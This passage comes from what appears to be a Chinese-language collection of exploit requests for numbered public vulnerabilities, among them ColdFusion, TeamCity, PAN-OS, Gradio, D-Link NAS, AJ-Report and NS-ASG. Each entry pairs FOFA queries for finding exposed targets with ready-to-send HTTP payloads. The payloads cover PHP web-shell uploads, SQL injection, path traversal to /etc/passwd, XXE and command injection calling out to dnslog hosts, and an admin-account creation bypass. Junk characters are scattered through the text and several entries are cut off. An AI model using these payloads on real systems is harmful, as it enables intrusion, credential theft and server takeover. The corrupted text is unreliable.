Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
/ L+ U% u6 y) r2 r/ mSec-Purpose: prefetch;prerender
% D, ]) ~  T9 q+ f$ ]5 l/ C, V
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"

& u8 x* R1 V4 K, p0 K/ z. \( lBIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
7 o& g: S& B% y+ o/ J1 t& `Content-Disposition: form-data;name="Params"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
6 V. B6 R8 E2 W* s9 H' I]
>
" Q* L" c% d" W$ N<test>&t;</test>
4 j7 N4 G+ a0 g3 i4 v4 ]------WebKitFormBoundaryJGgV5l5ta05yAIe0--
) f, ~- T7 r* z% @! ]9 U4 k
. M# c4 T2 J6 U; `' g4 z. s0 |

128. Adobe ColdFusion 反序列化
! U. x# R- k% Z# p1 l1 SCVE-2023-38203
" F% n2 J% x9 T% A% J' X" sAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
/ Q- s2 l8 s6 a$ IFOFA：app="Adobe-ColdFusion"
. s9 p4 e  A4 L, K8 ^3 R$ aPAYLOAD
; o2 j0 j8 ]+ K/ |# h2 R
129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
. N5 ~  L5 ]9 p2 B2 f& v1 F& CFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
3 f) `& r/ k  f1 E9 G( v/ A0 i第一步，获取uuid
) Z7 ?* w. h0 c5 aGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
7 K1 [1 v7 q' UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
9 Y3 u* R. ~; `% E' U* R' }5 v5 y0 OAccept-Encoding: gzip, deflate
5 I1 A, I1 W+ b/ {, S$ _Connection: close


; s1 }0 j, X1 ^第二步，读取/etc/passwd文件
5 \( S7 L% h2 lGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
& A( E4 \7 A+ p3 y, j; {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
% ~2 N' r' H( q9 R7 x: W) ~uuid: 85f60018-a654-4410-a783-f81cbd5000b9
) X% Q% |2 Y9 y) D- v7 q9 x
1 A, T' M* f* n' U" Z2 C
+ [/ x* t2 P9 T7 A9 I# C) ?130. Laykefu客服系统任意文件上传
' D& |+ y; ?5 e- q$ [+ J6 dFOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
8 w! z5 x! }/ x6 X( G" GHost: 127.0.0.1
; H4 i8 Y9 E+ D( F6 pAccept: application/json, text/javascript, */*; q=0.01
- V$ S! u! L4 o# I4 T$ pX-Requested-With: XMLHttpRequest
+ B9 \6 O8 \' A9 d: K5 i$ i  i$ G7 TUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
; G; k/ D4 z9 ]0 D. vContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
5 ?5 ], G# T# E1 QAccept-Encoding: gzip, deflate
7 @* `- q7 J5 B1 s) M: F& [Accept-Language: zh-CN,zh;q=0.9
/ J3 D, ?* F' D7 N! I5 q4 qCookie: user_name=1; user_id=3
Connection: close

------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
' E$ i1 H( {  k# ~9 bContent-Type: image/png
2 ^3 o& Y# \5 \  o$ s' B" X
<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--
5 o! u  J; `! p5 d" C* l
5 ?3 _6 c$ K$ k0 S+ W0 U  P
/ C; q4 a0 N3 P! j% h131. Mini-Tmall <=20231017 SQL注入
; b& q) h- A( a  O/ i5 Z" ?' JFOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
; i/ u$ C3 h: m: G5 J
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
. q- E1 `: X+ q' H0 jFOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
Accept-Encoding: gzip, deflate

$ e  I* a/ A5 m{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

2 a' m# K  U" _
1 ]2 v2 u4 S2 d5 m- W# p+ \CVE-2024-27199
" }- I8 e+ g# \1 E9 U1 o, B& Q/res/../admin/diagnostic.jsp
, b4 D  i# O- k/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp
0 Y* P2 B# d; E) d+ I
9 S/ O& F2 e/ d( \! `" Q3 D
3 A* Q( _8 S- z/ q) E' w8 c+ J* ?CVE-2024-27198-RCE.py
0 x, u) Y: z8 {
133. H5 云商城 file.php 文件上传
3 k# Y0 V; H0 ^6 D& [FOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

; v0 H! r3 A3 |------WebKitFormBoundaryFQqYtrIWb8iBxUCx
3 e' q! _: r# o7 m$ CContent-Disposition: form-data; name="file"; filename="rce.php"
+ t1 a' b* k0 Q8 ^' TContent-Type: application/octet-stream
/ r; ~  X0 [! T& x
<?php system("cat /etc/passwd");unlink(__FILE__);?>
3 b( P: h& h* F------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
8 I5 W7 F! [) b2 \( A
$ N* P. S9 r# i4 O
6 |& h. T8 i3 e3 G3 }
: Y  _4 S) p9 Q9 j* P; k/ W6 x' n134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
* ?$ n6 V) `, U! ?! f& }( |7 ANetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
9 W; k. k8 g5 m# g  \0 n' J$ G; ?Host: x.x.x.x
( A. f8 r. W. t4 ~7 h' aCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
6 H' ]' k1 W& F4 lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
# K, K  V' t* l3 G" q9 X* z4 U" xAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
% z( Z' M5 a; }! k( pSec-Fetch-Mode: cors
9 V9 G% b& c( [( C' E* sSec-Fetch-Site: same-origin
# X, w) t: Q. o8 i8 [Te: trailers
Connection: close
& I- P& A& \; A" W4 NContent-Type: application/x-www-form-urlencoded
Content-Length: 263
7 K0 v& Y# Z% v5 S  w! O8 S9 x* f
( b: _4 i1 i+ u( [" S. p, Z  @jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
4 p1 d8 G- f# ]0 O) c
1 D4 ~5 f! r( n# ~1 f* C$ t
1 X# m8 `, L! l- q. V; ^9 c135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
$ L% T/ P% F; KCVE-2024-2022
# c; t- i) N+ ~3 H. ONetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
" }, o5 R7 ?8 @) iGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
1 I* K9 G) g* U; o3 ~5 ^4 UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% G$ O$ L1 }& ~: EAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
* [( r) [# ^- ]0 ZConnection: close
6 _4 K' a4 i8 F

136. NextChat cors SSRF
! {! L2 R; @; r- H$ NCVE-2023-49785
9 j7 `0 Q, ~$ R: g" `7 D) oFOFA：title="NextChat"
9 k7 x- \& o; g/ V; gGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
4 i  k5 s' d7 x0 @Accept: */*
Accept-Language: en
Accept-Encoding: gzip

" g, C5 C8 w: m% J: q. S/ j3 r
' f+ ]6 i. Y* y) [% a137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
8 y' p$ N( P! d+ u. QHost: x.x.x.x
" u" x3 Z# h8 f7 b) b# Z2 }) kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
! L! ]$ {) h1 iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 C/ r# w: X+ w; R/ T7 P% z% {9 FAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) S& r; M" }" V7 W( K2 QAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
( [  F" \* `6 u: e7 a9 Y- vUpgrade-Insecure-Requests: 1
* f3 k! X: w" C  J1 _
- S( H" ^4 [$ j+ U* k0 F2 t8 h
, }% V; d: x) s; _138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
/ J3 a1 b8 ?/ b$ l1 o4 ^CVE-2024-2621
6 I' @! ~5 X" @& D* N& {' x- rFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
# g- U6 j1 o1 e* ]3 qHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
- z6 U. n, ?  k/ \; M: W* gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: P$ a6 u! R( a  |4 y% o; n, L4 SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ _9 {2 W% @& a- j$ o/ GAccept-Encoding: gzip, deflate, br
Connection: close
) x4 q+ Z7 A' O) ^+ fUpgrade-Insecure-Requests: 1
& R5 W7 {0 m9 j+ q+ P8 l

139. 福建科立讯通信指挥调度平台editemedia.php sql注入
- V5 }3 c2 E/ {# B# }3 N# `2 q- q4 x  kCVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
" ?* P* m( |* G) G4 {GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
, y( i& U5 k8 d5 Y8 g3 v* IHost: x.x.x.x
9 v. e1 r. X) z: SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
" I# B7 d# _( }# j+ t: d! WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. I. ~  h: y) v# sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
* O8 B# f! ]( A8 d7 s* X4 w0 d" KConnection: close
$ S$ t- T) [! c3 ^" q! ACookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1
: b0 }. F( I; Q3 _4 S. w& c" D1 V

140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
3 E6 g: @5 T+ J: RCVE-2024-2566
2 I8 m) h7 v" N7 s! K) N/ u; RFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
' v9 {5 J( D7 H5 T# \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
* z/ \2 S- D4 ~% [# d. dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
% v8 d. @' ~* {% A: f1 o2 F" g  hConnection: close
Cookie: authcode=h8g9
0 l7 S# z- s& u: t3 yUpgrade-Insecure-Requests: 1


1 Z: S4 z# r$ r  @141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
4 ~* F; q2 N, Y6 X$ zFOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
9 \  d1 k( a% F! F* G4 C9 _Content-Type: application/x-www-form-urlencoded
: M4 r8 {6 F. m- e* A$ u) r

! z7 P  D  U" J3 G8 v; M; k+ u! tdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
+ O. W' [# u' L. s9 A

142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
/ T7 m8 X8 j2 r& s4 Z+ Y& Z4 cCVE-2024-25850
1 L9 _! R3 G. j9 O) ]9 MFOFA：title='AP setup' && header='netis'
PAYLOAD

144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
2 A' v% N5 p5 i6 L2 x- L7 Q* \system参数用于传要执行的命令
0 S5 D2 [- y4 ~GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
0 {! f+ \9 a$ j) l: ~User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Accept: */*
: ~1 A4 [" ?1 `2 @; x4 r' m* o- pAccept-Language: en
* r) C" f; ~; m; d$ J5 {9 vAccept-Encoding: gzip

% o6 q  z& o% ?; {0 M8 [
' D: X' w, M( K, C: t3 E, i; {145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
$ ~9 P; N" B* O' m5 Z# m- cFOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
3 l. f/ V7 f8 c$ y, M8 a+ \5 vHost: 192.168.30.112:1005
3 s( M0 c5 S* U; s5 nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
) v; B% J' e# ]3 T7 jConnection: close
; X4 r# q: z' W; ~% dCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
" Y) C; b2 s2 _% E3 I
( s  K: \& _4 Z, {$ _0 |
; H" B% s1 x( b" Q, m, v" J* w146. MajorDoMo thumb.php 未授权远程代码执行
9 k2 F/ O6 M7 J* u2 Y4 M, cCNVD-2024-02175
FOFA：app="MajordomoSL"
" n0 v$ Z% [! U1 S' R! h% OGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
* d' t1 }) d/ p# M8 v' }Accept-Encoding: gzip, deflate
: J, I$ P5 G( S1 TConnection: close


2 M4 W9 S/ q. k! v8 d- F' ~147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
! |# z1 R, Y+ J' B3 @CVE-2024-32399
FOFA：body="RaidenMAILD"
# x! ?# d- |8 d# w  r' WGET /webeditor/../../../windows/win.ini HTTP/1.1
0 s" H5 a8 u5 ~8 o4 K0 A' WHost: 127.0.0.1:81
Cache-Control: max-age=0
Connection: close
: M1 p! ~3 F6 Y+ U5 y% \1 @

148. CrushFTP 认证绕过模板注入
CVE-2024-4040
FOFA：body="CrushFTP"
- i1 b, B& m$ L! P6 ?& I8 DPAYLOAD
4 J2 q) s6 v( ~( U% r" v' @, O
+ O- \, E- G! @149. AJ-Report开源数据大屏存在远程命令执行
7 |1 f4 [" R6 A9 xFOFA：title="AJ-Report"

8 K: O3 D0 ?4 R0 qPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
# q' ]" R3 ]- V* [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
; Q- }+ w+ j( M: `* r3 SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
5 V5 a, Z, K/ W7 R1 xContent-Type: application/json;charset=UTF-8
: v8 t6 O" r0 ?Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
; D) ^* J) a) w
/ L5 R  m; e* b4 o: a* O) ~150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
0 |8 d( u& u$ Z) V7 R& jPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
0 H. U4 I  }8 s3 cHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
4 g! S2 Y; ~. vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
$ m* [7 I# U5 l. R6 r3 AConnection: close
Content-Length: 339
8 p- b0 S9 o' `7 N/ ?9 z$ [
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}


151. AJ-Report 1.4.1 pageList sql注入
8 p# X9 z( }9 X6 MFOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
. U  T- t9 y" F; LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
' M9 w, r; T! UAccept-Encoding: gzip
5 W" O: T2 g, J/ K% ]0 m' _
6 N8 a# O; z0 s- @( @. t
- n# H; N' q$ V& ]) R3 c152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
% `( z' ]  _, yLoadMaster<=7.2.54.8 (LTSF)
$ g6 `; d+ j; i. Y, U! gLoadMaster <= 7.2.48.10 (LTS)
4 t6 D/ U' [) ^FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
  e/ Y; n1 A; U# [& y* \' @" |GET /access/set?param=enableapi&value=1 HTTP/1.1
% r" a: p( P: _) W  \$ |( F0 I' uHost: x.x.x.x
" b9 K* i1 p  Q) f6 }! mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
  ~+ h" W; p  N8 Q9 fConnection: close
  h! A4 }( B( L: l  B$ j; U! FAccept: */*
Accept-Language: en
, I% M9 o1 m( I  iAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
: B; X# h  j) N; @0 I) u7 E6 ]Accept-Encoding: gzip

2 S- f. J) q: r1 h8 q2 F4 f
' y1 f& U3 b- P: E' I' Q: y$ _9 H3 ^  e153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
$ W7 M+ u6 W- ]第一步，请求/config文件获取componets的id
/ H, K4 y" q: s) s2 A. W/ d" Thttp://x.x.x.x/config


第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
Content-Length: 115
/ Q& v4 [; X. n0 rContent-Type: application/json
9 I8 v* P0 @8 @: l# |0 K: VAccept-Encoding: gzip
* ~) A. m' X' g
{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
8 q0 I5 E; h( n. ^- f
8 i$ ^1 J+ V. ?, u2 t( I
第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

( ^8 ]: v$ L7 B/ Z; V% T5 `. U& M
& V& T$ X% @0 W% ~3 t2 [) ]154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
Content-Length: 106
$ g' v8 W: x5 Y$ u2 o7 E- s. fCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
9 p2 J; I, E4 d# LOrigin: http://x.x.x.x
Content-Type: application/json
" \# c4 Z0 I6 R  Q1 G; Q8 QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
! i/ X# N' r, W: WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
9 B3 {8 `  Q5 X- |Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
. ^  o0 k3 @" t& O2 w3 TConnection: close

+ _" q- Y9 J" t/ h( d{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
( o. d0 g6 R9 ]* z
7 t( C2 s& O. e# }* K
155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
( m0 t. o$ r9 m2 zFOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
, O, i: r3 q* L. t/ k: e2 IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
- e7 |- l5 m9 s' MContent-Length: 232
6 c  i% H) N5 j5 q+ r; {& zAccept: application/json, text/javascript, */*; q=0.01
3 e9 p5 X% f3 c9 W$ yAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 D0 h; n* h) p- V9 ?/ k: E2 CContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest
+ i! j$ r0 F" A7 Y
-----------------------------qttl7vemrsold314zg0f
* z' i$ w, A* I) p7 o4 qContent-Disposition: form-data; name="file"; filename="test.php"
6 V7 A# D: s: a0 B3 A/ sContent-Type: image/png

<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--


" F( o6 r. Y$ R7 d6 ~访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

156. TBK DVR-4104/DVR-4216 操作系统命令注入
+ [' m: @; w+ v% V( ~6 K6 |CVE-2024-3721
% U  U4 I. X! v( x( cFOFA："Location: /login.rsp"
4 I) D' n6 \6 |2 E·TBK DVR-4104
3 b: R# P1 J/ e0 ^2 e3 t; X; ?·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"


POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
# o% y& f- H) u2 e! u5 W. v$ tHost: x.x.x.x
- o1 B" p7 Q: U5 |# n5 B4 iUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& ^6 ~: \3 T+ Z& D) pConnection: close
( C2 S6 G6 R( s  \; J! a  {Content-Length: 0
Cookie: uid=1
Accept-Encoding: gzip


157. 美特CRM upload.jsp 任意文件上传
4 }: O* B; ]# R; e5 ]CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
4 ]  g6 c, h- {# mPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
" x6 O# A! N$ E7 CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
8 D8 i3 b" F, }6 ~Accept-Language: zh-CN,zh;q=0.9
" K6 u; b% X2 XCache-Control: max-age=0
Connection: close
7 c) B, O# D6 M" L4 o+ qContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
( @" t  @: K! X* s" }" RUpgrade-Insecure-Requests: 1

, w7 }0 K/ }4 }3 W------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
7 p6 L& V4 n$ E2 ~1 hContent-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
! d0 |9 e$ e& D- W5 g" _Content-Disposition: form-data; name="key"

null
- ^% s3 b0 z! A: J' }------WebKitFormBoundary1imovELzPsfzp5dN
3 \, ^+ h0 l" }. N/ L' mContent-Disposition: form-data; name="form"

, {/ D3 J7 v0 G8 ~, c6 k  J- Dnull
, [* i7 t3 M4 E" |------WebKitFormBoundary1imovELzPsfzp5dN
